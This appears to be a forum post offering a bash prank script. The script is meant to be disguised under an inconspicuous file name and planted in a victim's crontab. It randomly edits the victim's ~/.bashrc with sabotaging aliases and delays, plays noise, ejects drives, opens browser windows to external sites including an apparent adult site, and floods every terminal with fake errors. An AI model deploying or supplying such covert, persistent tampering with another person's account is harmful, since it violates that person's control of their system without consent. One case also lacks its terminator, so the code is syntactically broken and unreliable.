enjoy...
(feel free to give feedback)
#!/bin/bash
# Usage: rename to "..." or " " or something else inconspicuous and then add
# to crontab to annoy your victim.
DATE=`date +%H`
if [ $DATE -gt 9 ] && [ $DATE -lt 16 ]
then
NUM=`echo $RANDOM`
if [ $NUM -lt 2000 ]
then
i=$(for x in $(seq 1 9); do echo $RANDOM $x; done |sort -n |head -n1 |cut -f2 -d " ")
echo $i >> ~/... # this should be the name of your script and
# will record which statements below that have ran.
case $i in
0) echo 'alias vi="emacs" ' >> ~/.bashrc
1) play $(for x in `locate *.wav`; do echo $RANDOM $x; done | sort -n | head -n1 | cut -f 2 -d " ") ;;
2) dd if=/dev/urandom of=/dev/dsp count=5 ;;
3) eject /mnt/cdrom; eject -t /mnt/cdrom ;;
4) echo "sleep 1" >> ~/.bashrc ;;
5) xclock -display :0 & ;;
6) xterm -display :0 & ;;
7) mozilla --display=0:0
http://www.usahunks.com ;;
8) mozilla --display=0:0
http://home.comcast.net/~etrata/flash/banana2.swf ;;
9) for file in /dev/pts/*; do echo "ERROR: ExecEvalExpr: unknown expression type $RANDOM" > $file; done ;;
# 10) echo 'alias ls="echo Sorry, file not found" ' >> ~/.bashrc
esac
fi
fi
exit